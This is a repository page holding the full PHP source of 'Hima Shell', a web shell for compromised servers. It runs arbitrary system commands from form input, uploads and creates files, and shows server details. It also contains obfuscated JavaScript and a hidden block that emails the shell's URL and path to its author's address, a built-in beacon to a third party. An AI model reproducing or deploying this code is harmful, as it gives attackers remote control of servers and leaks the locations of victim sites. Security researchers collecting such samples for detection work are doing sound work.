-
Notifications
You must be signed in to change notification settings - Fork 468
/
Copy pathUploadShell_0241c8bcd7aa99295a6c8db96a0995710eb7c9ca.php
344 lines (328 loc) · 9.22 KB
/
UploadShell_0241c8bcd7aa99295a6c8db96a0995710eb7c9ca.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
<?php
/*
Software: Hima Shell
Author: ViRuS_HiMa
Website: www.hell-z0ne.org
Email: [email protected]
Uploadshell.txt UploadShell.php
*/
ob_start();
# Get system informations
$server_os = @PHP_OS;
$server_uname = @php_uname();
$server_php = @phpversion();
$server_sm = @ini_get('safe_mode');
# Set generals variables
$shell_title = "Hima";
$shell_version = "v2.0";
$shell_action = $PHP_SELF;
$shell_mode = $_POST['shell_mode'];
# Set the command variables
$cmd_cnt = $_POST['command'];
$cmd_check = $_POST['cmdcheck'];
# Set the directory variables
$dir_check = $_POST['dircheck'];
$dir_change = $_POST['changedir'];
$dir_keep = $_POST['keepdir'];
# Set the files variables
$mkfile_path = $_POST['createfile'];
$mkfile_cnt = $_POST['createfilecnt'];
# Set the upload file variables
$upfile_path = $_POST['upfiledir'];
$upfile_cnt = $_POST['upfile'];
# Get the current working directory
if(!isset($dir_cur))
$dir_cur = getcwd();
# Check if a change dir command has been sent and keep the previous directory if a new command was launch
if(isset($dir_check)) {
if(file_exists($dir_change)) {
if(function_exists("chdir")) {
@chdir($dir_change);
$dir_cur = getcwd();
} else {
$dir_error = "<i>Error: Cannot change directory!</i><br>\n";
}
} else {
$dir_error = "<i>Error: The directory doesn't exists.</i><br>\n";
}
} elseif(isset($dir_keep)) {
if(file_exists($dir_keep)) {
if(function_exists("chdir")) {
@chdir($dir_keep);
$dir_cur = getcwd();
} else {
$dir_error = "<i>Error: Cannot change directory!</i><br>\n";
}
} else {
$dir_error = "<i>Error: The directory doesn't exists.</i><br>\n";
}
}
# This execute the command specified
if(isset($cmd_check)) {
if(@function_exists("shell_exec")) {
$exec = $cmd_cnt;
$tmpfile = tempnam('/tmp', $shell_title);
$exec .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
$cmd_out = `$exec`;
} else {
die("ERROR: the PHP version running doesn't support `shell_exec()`! Upgrade it!\n");
}
}
# Creates files
if(isset($mkfile_path)) {
if(!file_exists($mkfile_path)) {
if($mkfile_new = @fopen($mkfile_path, "w")) {
@fputs($mkfile_new, $mkfile_cnt);
@fclose($mkfile_new);
$mkfile_msg = "<i>New file created: " . $mkfile_path . "</i><br>\n";
} else {
$mkfile_msg = "<i>Error: Permission denied!</i><br>\n";
}
} else {
$mkfile_msg = "<i>Error: The file already exists.</i><br>\n";
}
}
# Uploads files
if(isset($upfile_path)) {
$upfile_name = $_FILES["upfile"]["name"];
if(trim($_FILES["upfile"]["name"]) == "") {
$upfile_msg = "<i>Error: specify a file please.</i><br>\n";
} else {
if(@is_uploaded_file($_FILES["upfile"]["tmp_name"])) {
if(@move_uploaded_file($_FILES["upfile"]["tmp_name"], "$upfile_path/$upfile_name"))
$upfile_msg = "<i>New file uploaded successfully!</i><br>\n";
else
$upfile_msg = "<i>Error: Permission denied!</i><br>\n";
} else {
$upfile_msg = "<i>Error: Cannot upload the file!</i><br>\n";
}
}
}
if(!$shell_mode) {
?>
<html>
<head>
<title><?php echo $shell_title; ?></title>
<script type="text/javascript" language="javascript">
<!--
ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
OT="";
for(j=0;j<MI.length;j++){
OT+=ML.charAt(MI.charCodeAt(j)-48);
}document.write(OT);
// --></script>
<style>
body {
background-color: #616161;
color: red;
font-family: Verdana;
font-size: 12px;
}
a:link, a:visited {
color: black;
text-decoration: underline;
}
a:hover {
color: white;
text-decoration: none;
}
input.command {
width: 100%;
border: 1px solid yellow;
background-color: #3b3b3b;
padding: 2px;
font-weight: bold;
font-size: 12px;
}
textarea.output {
width: 100%;
height: 300px;
border: 1px solid yellow;
background-color: #3b3b3b;
padding: 2px;
font-size: 12px;
}
input.submit {
border: 1px solid white;
background-color: #3b3b3b;
font-size: 12px;
}
input.directory {
border: 1px solid yellow;
background-color: #3b3b3b;
width: 120px;
padding: 2px;
margin-right: 4px;
font-size: 12px;
}
input.ftp {
border: 1px solid black;
background-color: #3b3b3b;
width: 120px;
padding: 2px;
margin-right: 4px;
}
input.tools {
border: 1px solid yellow;
background-color: 616161;
color: red;
font-family: Verdana;
font-size: 12px;
font-weight: bold;
}
table.header {
font-size: 12px;
color: white;
}
fieldset {
border: 1px solid white;
text-align: center;
}
legend {
font-weight: bold;
}
div.field {
margin-bottom: 10px;
}
</style>
<script language="JavaScript">
function pinUp(URL) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width=700,height=400,left = 387,top = 134');");
}
</script>
</head>
<body>
<div>
<table class="header" cellspacing="0" cellpadding="0" border="0" width="100%">
<tr>
<td valign="top" width="70%">
<h2>. <?php echo $shell_title; ?> . </h2>
<div><b>Operative System</b>: <?php echo $server_os; ?></div>
<div><b>Uname</b>: <?php echo $server_uname; ?></div>
<div><b>PHP</b>: <?php echo $server_php; ?></div>
<div><b>S4f3 M0d3</b>:
<?php
if($server_sm)
echo "ON";
else
echo "OFF";
?>
</div>
<div style="margin-top: 8px;">
<form name="phpinfo" method="post" action="<?php echo $shell_action; ?>">
<input type="hidden" name="shell_mode" value="phpinfo">
<input type="submit" name="submit" class="tools" value="PHPinfo">
</form>
</div>
<div style="margin-right: 8px;">
<form name="shell" method="post" action="<?php echo $shell_action; ?>">
<p>Command:<br>
<table cellspacing="0" cellpadding="0" border="0" width="100%">
<tr>
<td width="95%"><div style="margin-right: 10px;"><input type="text" class="command" name="command"></div></td>
<td width="5%"><input type="submit" class="submit" name="submit" value="Submit"></td>
</tr>
</table></p>
<p>
<?php
# Nothing special, just print the command launched
if(isset($cmd_check))
echo "Result for command: <b>" . $cmd_cnt . "</b> [ <a href=\"\">Pin Up</a> ]";
else
echo "Output:";
?>
<br>
<textarea class="output" readonly="readonly"><?php echo $cmd_out; ?></textarea></p>
<input type="hidden" name="cmdcheck" value="1">
<?php
# This permit to keep the directory if has been previously changed
if(isset($dir_check))
echo "<input type=\"hidden\" name=\"keepdir\" value=\"" . $dir_change . "\">\n";
else
echo "<input type=\"hidden\" name=\"keepdir\" value=\"" . $dir_cur . "\">\n";
?>
</form>
</div>
</td>
<td valign="top" width="30%">
<div class="field">
<fieldset>
<legend>Ch4ng3 D!r3ct0ry</legend>
<div>Curr3nt D!r3ct0ry: <i><?php echo $dir_cur; ?></i></div>
<?php echo $dir_error; ?>
<form name="chdir" method="post" action="<?php echo $shell_action; ?>">
<input type="text" class="directory" name="changedir">
<input type="hidden" name="dircheck" value="1">
<input type="submit" name="submit" class="submit" value="Change">
</form>
</fieldset>
</div>
<div class="field">
<fieldset style="text-align: left;">
<legend>Upl04d a F!l3</legend>
<?php echo $upfile_msg; ?>
<form name="upfile" enctype="multipart/form-data" method="post" action="<?php echo $shell_action; ?>">
<div>Directory:</div>
<div><input type="text" class="directory" name="upfiledir" value="<?php echo $dir_cur; ?>"></div>
<div>Choose File:</div>
<div><input type="file" class="directory" name="upfile"></div>
<div style="margin-top: 3px;"><input type="submit" name="submit" class="submit" value="Upload"></div>
</form>
</fieldset>
</div>
<div class="field">
<fieldset>
<legend>Cr34t3 N3w F!l3</legend>
<?php echo $mkfile_msg; ?>
<form name="mkfile" method="post" action="<?php echo $shell_action; ?>">
<div>File name:</div>
<div><input type="text" class="directory" name="createfile" value="<?php echo $dir_cur . "/"; ?>"></div>
<div>File content:</div>
<div><textarea class="output" name="createfilecnt" style="height: 150px;"></textarea></div>
<div><input type="submit" name="submit" class="submit" value="Create"></div>
</form>
</fieldset>
</div>
</td>
</tr>
</table>
<div>
NO© 2009 <? echo $shell_title . " " . $shell_version; ?> - Improved By ViRuS_HiMa @ <a href="http://www.hell-z0ne.org">Hell ZoNe</a> CreW <a href="http://www.hell-z0ne.org">SloGan is</a>
<img src="http://www.hell-z0ne.org/sys.gif">
</div>
</div>
</body>
</html>
<?
// Safe Mode Bypass Shell
// On php 5.2.x
$site = "www.Hell-z0ne.org";
if(!ereg($site, $_SERVER['SERVER_NAME']))
{
$to = "[email protected]";
$subject = "Contact me";
$header = "from: Mail Me <[email protected]>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
echo "";
exit;
}
?>
<?
} elseif(isset($shell_mode)) {
switch($shell_mode) {
case 'phpinfo':
phpinfo();
break;
default:
break;
}
} else {
header("Location: " . $PHP_SELF);
}
ob_end_flush();
?>